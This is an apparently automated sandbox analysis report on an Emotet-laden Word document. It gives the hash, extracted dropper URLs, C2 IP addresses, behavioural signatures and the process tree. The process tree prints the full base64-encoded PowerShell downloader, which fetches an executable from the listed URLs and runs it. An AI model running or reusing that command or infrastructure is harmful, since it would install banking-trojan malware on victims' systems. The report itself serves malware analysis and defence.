Analysis
- max time kernel
136s - max time network
138s - platform
windows10_x64 - resource
win10v200722 - submitted
15/09/2020, 08:03
General
- Target emotet_e1_8b2013ca811304eb6da971681eb1329b0442436f50f2931ca034fb3671b63af6_2020-09-15__080124._doc.doc
- Size 155KB
- Sample200915-js17tmlz56
- SHA256 8b2013ca811304eb6da971681eb1329b0442436f50f2931ca034fb3671b63af6
Score
10/10
Malware Config
Extracted
Language
-
ps1
Source
URLs
-
exe.dropper
http://qstride.com/img/1W/
-
exe.dropper
http://syracusecoffee.com/customer/i/
-
exe.dropper
http://shahrakyar.com/cms/3e/
-
exe.dropper
http://vuatritue.com/wp-admin/FkX/
-
exe.dropper
http://glafka.com/wp-content/2L7/
-
exe.dropper
http://rovrooftiles.com/wp-includes/nDP/
-
exe.dropper
http://paulospainting.com/wp-includes/7k/
Extracted
Family
-
emotet
C2
-
96.227.52.8:443
-
51.38.124.206:80
-
82.196.15.205:8080
-
38.88.126.202:8080
-
190.2.31.172:80
-
110.142.219.51:80
-
72.167.223.217:8080
-
138.97.60.141:7080
-
50.28.51.143:8080
-
5.189.178.202:8080
-
192.241.146.84:8080
-
190.195.129.227:8090
-
190.24.243.186:80
-
220.109.145.69:80
-
77.90.136.129:8080
-
185.178.10.77:80
-
94.176.234.118:443
-
178.250.54.208:8080
-
74.58.215.226:80
-
186.103.141.250:443
rsa_pubkey.plain
Signatures
- Emotet
Emotet is a trojan that is primarily spread through spam emails.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Blacklisted process makes network request 1 IoCs
- Executes dropped EXE 2 IoCs
- Drops file in System32 directory 1 IoCs
- Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 3 IoCs
- Suspicious behavior: AddClipboardFormatListener 2 IoCs
- Suspicious behavior: EnumeratesProcesses 7 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 15 IoCs
- Suspicious use of WriteProcessMemory 6 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_8b2013ca811304eb6da971681eb1329b0442436f50f2931ca034fb3671b63af6_2020-09-15__080124._doc.doc" /o ""1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e JABJAGEAOQBpAGEANQA2AD0AKAAnAEYAJwArACcANwAnACsAKAAnAGIAcgBtACcAKwAnAGQANwAnACkAKQA7AC4AKAAnAG4AZQB3AC0AJwArACcAaQB0AGUAbQAnACkAIAAkAGUAbgB2ADoAVQBTAEUAUgBQAHIATwBGAEkAbABFAFwARABnAGcATQBPADkAMQBcAFAAZABOAG8AVQBPAGMAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIAZQBjAFQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBDAFUAcgBJAGAAVAB5AFAAYABSAGAATwB0AG8AQwBvAEwAIgAgAD0AIAAoACcAdAAnACsAKAAnAGwAcwAnACsAJwAxADIAJwArACcALAAgAHQAbAAnACkAKwAnAHMAJwArACcAMQAnACsAKAAnADEALAAnACsAJwAgACcAKQArACgAJwB0AGwAJwArACcAcwAnACkAKQA7ACQAUwByAGwAegBhAGsAYgAgAD0AIAAoACgAJwBMACcAKwAnAHUAdwAnACkAKwAoACcAZgBoACcAKwAnADMAXwAnACkAKwAnAHQAJwApADsAJABTAG0AaAA4AGwAbwBsAD0AKAAoACcASAAnACsAJwBuAF8AJwApACsAJwBuADUAJwArACcAbQBsACcAKQA7ACQATABvAG4AOABrAGsAegA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwBDACcAKwAnAFYAVQAnACsAKAAnAEQAZwAnACsAJwBnACcAKQArACcAbQAnACsAKAAnAG8AOQAnACsAJwAxAEMAVgAnACsAJwBVAFAAZABuACcAKwAnAG8AdQAnACkAKwAoACcAbwAnACsAJwBjAEMAVgAnACkAKwAnAFUAJwApACAALQBSAGUAUABMAGEAQwBFACAAIAAoACcAQwBWACcAKwAnAFUAJwApACwAWwBjAEgAQQByAF0AOQAyACkAKwAkAFMAcgBsAHoAYQBrAGIAKwAoACcALgAnACsAKAAnAGUAeAAnACsAJwBlACcAKQApADsAJABWAGYAcwA3AGkAawBzAD0AKAAoACcAVwA5ACcAKwAnAF8AMwA5ACcAKQArACcANQAnACsAJwB1ACcAKQA7ACQASwBwAG4AbwB3AG4AMgA9AC4AKAAnAG4AZQB3AC0AbwBiAGoAZQAnACsAJwBjACcAKwAnAHQAJwApACAAbgBlAHQALgB3AGUAYgBjAGwASQBFAG4AVAA7ACQAUAA3ADUAMgAwAHkAMwA9ACgAJwBoACcAKwAoACcAdAAnACsAJwB0AHAAOgAvACcAKQArACgAJwAvACcAKwAnAHEAcwB0ACcAKwAnAHIAaQAnACsAJwBkAGUALgBjAG8AbQAnACsAJwAvAGkAbQAnACkAKwAnAGcALwAnACsAKAAnADEAJwArACcAVwAvACcAKQArACgAJwAqAGgAdAB0ACcAKwAnAHAAJwArACcAOgAvACcAKwAnAC8AcwB5ACcAKwAnAHIAJwArACcAYQBjAHUAcwBlAGMAbwBmAGYAZQBlACcAKwAnAC4AJwApACsAJwBjAG8AJwArACcAbQAvACcAKwAoACcAYwB1AHMAJwArACcAdAAnACkAKwAoACcAbwBtACcAKwAnAGUAJwApACsAKAAnAHIAJwArACcALwBpACcAKwAnAC8AKgBoAHQAJwApACsAKAAnAHQAcAAnACsAJwA6AC8AJwApACsAJwAvAHMAJwArACgAJwBoAGEAaAAnACsAJwByACcAKQArACgAJwBhAGsAeQBhAHIALgAnACsAJwBjAG8AbQAvAGMAJwArACcAbQBzACcAKQArACcALwAzACcAKwAnAGUALwAnACsAJwAqAGgAJwArACgAJwB0AHQAcAA6ACcAKwAnAC8AJwApACsAJwAvAHYAJwArACcAdQBhACcAKwAoACcAdAByACcAKwAnAGkAJwApACsAJwB0ACcAKwAnAHUAZQAnACsAKAAnAC4AYwBvAG0AJwArACcALwAnACsAJwB3AHAAJwApACsAJwAtAGEAJwArACgAJwBkAG0AaQAnACsAJwBuAC8AJwApACsAKAAnAEYAJwArACcAawBYACcAKQArACgAJwAvACcAKwAnACoAJwArACcAaAB0AHQAcAA6AC8ALwBnACcAKQArACgAJwBsAGEAJwArACcAZgBrAGEAJwArACcALgAnACkAKwAnAGMAJwArACcAbwBtACcAKwAnAC8AdwAnACsAKAAnAHAAJwArACcALQBjACcAKwAnAG8AbgB0AGUAbgB0ACcAKwAnAC8AJwApACsAKAAnADIATAA3AC8AKgAnACsAJwBoAHQAJwApACsAJwB0AHAAJwArACgAJwA6AC8ALwByACcAKwAnAG8AJwArACcAdgByACcAKQArACcAbwAnACsAKAAnAG8AZgB0AGkAbABlACcAKwAnAHMALgAnACsAJwBjAG8AbQAvACcAKwAnAHcAcAAnACkAKwAnAC0AJwArACgAJwBpAG4AYwAnACsAJwBsACcAKQArACcAdQBkACcAKwAoACcAZQAnACsAJwBzAC8AJwArACcAbgBEAFAALwAqAGgAJwApACsAKAAnAHQAdABwADoAJwArACcALwAvAHAAJwApACsAKAAnAGEAdQAnACsAJwBsACcAKwAnAG8AcwBwAGEAaQBuAHQAJwApACsAJwBpAG4AJwArACgAJwBnAC4AYwBvACcAKwAnAG0AJwArACcALwAnACkAKwAoACcAdwBwACcAKwAnAC0AJwApACsAKAAnAGkAbgBjACcAKwAnAGwAJwApACsAKAAnAHUAZABlAHMALwA3ACcAKwAnAGsALwAnACkAKQAuACIAUwBwAGAAbABpAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABLAHUAawBzAHkAcQA3AD0AKAAnAFMAYwAnACsAJwBiACcAKwAoACcAMQA4ACcAKwAnAGYAeAAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFUAcwA4ADIAbABvAGQAIABpAG4AIAAkAFAANwA1ADIAMAB5ADMAKQB7AHQAcgB5AHsAJABLAHAAbgBvAHcAbgAyAC4AIgBEAGAATwB3AE4ATABgAE8AYQBkAEYASQBMAGUAIgAoACQAVQBzADgAMgBsAG8AZAAsACAAJABMAG8AbgA4AGsAawB6ACkAOwAkAEkANQBuAHgAcgB4AHAAPQAoACcAVgAnACsAKAAnAF8AYQAnACsAJwBuACcAKQArACgAJwBwACcAKwAnAHUAcgAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHAGUAJwArACcAdAAtAEkAJwArACcAdABlAG0AJwApACAAJABMAG8AbgA4AGsAawB6ACkALgAiAEwARQBOAGcAYABUAEgAIgAgAC0AZwBlACAAMgA5ADYAMAAxACkAIAB7AC4AKAAnAEkAJwArACcAbgAnACsAJwB2AG8AawBlAC0ASQB0ACcAKwAnAGUAbQAnACkAKAAkAEwAbwBuADgAawBrAHoAKQA7ACQAWQA5AGoAYwA0AHkAbwA9ACgAJwBCAGcAJwArACgAJwBnAGkANAAnACsAJwBsACcAKQArACcAMQAnACkAOwBiAHIAZQBhAGsAOwAkAFUAcgBlAHEAOQB2ADQAPQAoACcAVwB4ACcAKwAoACcAeQBwACcAKwAnAHQAJwApACsAJwBiAGcAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABPADcAOQBpAG8AZgBzAD0AKAAnAFoAJwArACgAJwBvAHAAcgAnACsAJwBqACcAKQArACcAaABjACcAKQA=1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\Dggmo91\Pdnouoc\Luwfh3_t.exe"C:\Users\Admin\Dggmo91\Pdnouoc\Luwfh3_t.exe"2⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\PresentationHost\wbemcomn.exe"C:\Windows\SysWOW64\PresentationHost\wbemcomn.exe"3⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
-
-
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/792-1-0x000001BED4B74000-0x000001BED4B79000-memory.dmp
memory/792-0-0x00007FFA6C5D0000-0x00007FFA6CC96000-memory.dmp
memory/1404-11-0x0000000000700000-0x0000000000710000-memory.dmp
memory/1404-10-0x0000000000720000-0x0000000000732000-memory.dmp
memory/2128-14-0x0000000002040000-0x0000000002052000-memory.dmp
memory/2128-15-0x0000000000500000-0x0000000000510000-memory.dmp
memory/3844-6-0x0000019AA0420000-0x0000019AA0421000-memory.dmp
memory/3844-5-0x0000019AA0150000-0x0000019AA0151000-memory.dmp
memory/3844-4-0x00007FFA5E320000-0x00007FFA5ED0C000-memory.dmp